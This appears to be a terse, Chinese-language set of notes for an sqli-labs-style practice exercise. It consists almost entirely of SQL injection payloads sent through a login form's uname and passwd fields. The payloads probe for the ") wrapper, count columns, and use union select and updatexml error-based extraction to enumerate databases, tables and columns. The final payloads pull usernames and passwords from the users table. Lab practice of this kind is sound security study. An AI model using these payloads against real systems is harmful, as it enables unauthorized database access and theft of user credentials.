uname=1&passwd=1
xxxxxxxxxxuname=1&passwd=1 or 1=1 -- - (无错误回显)uname=1&passwd=1 or 1=2 -- - (无错误回显,说明是字符型)
xxxxxxxxxxuname=1&passwd=1' (无错误回显)uname=1&passwd=1" (有错误回显,有注入,包裹符为"))
xxxxxxxxxxuname=1&passwd=1") order by 2 -- -uname=1&passwd=1") order by 3 -- -
xxxxxxxxxxuname=1&passwd=1") union select 1,2 -- -
xuname=1&passwd=1") union select updatexml(1,concat(0x7e,database(),0x7e),1) -- -或uname=1&passwd=1") union select 1,database() -- -
xxxxxxxxxxuname=1&passwd=1") union select updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) -- -(存在问题:用updatexml时报错信息会显示不全。)或uname=1&passwd=1") union select 1,group_concat(schema_name) from information_schema.schemata -- -
xxxxxxxxxxuname=1&passwd=1") union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- -或uname=1&passwd=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
xxxxxxxxxxuname=1&passwd=1") union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- -或uname=1&passwd=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- -
xxxxxxxxxxuname=1&passwd=1") union select updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) -- -或uname=1&passwd=1") union select 1,group_concat(username,password) from security.users -- -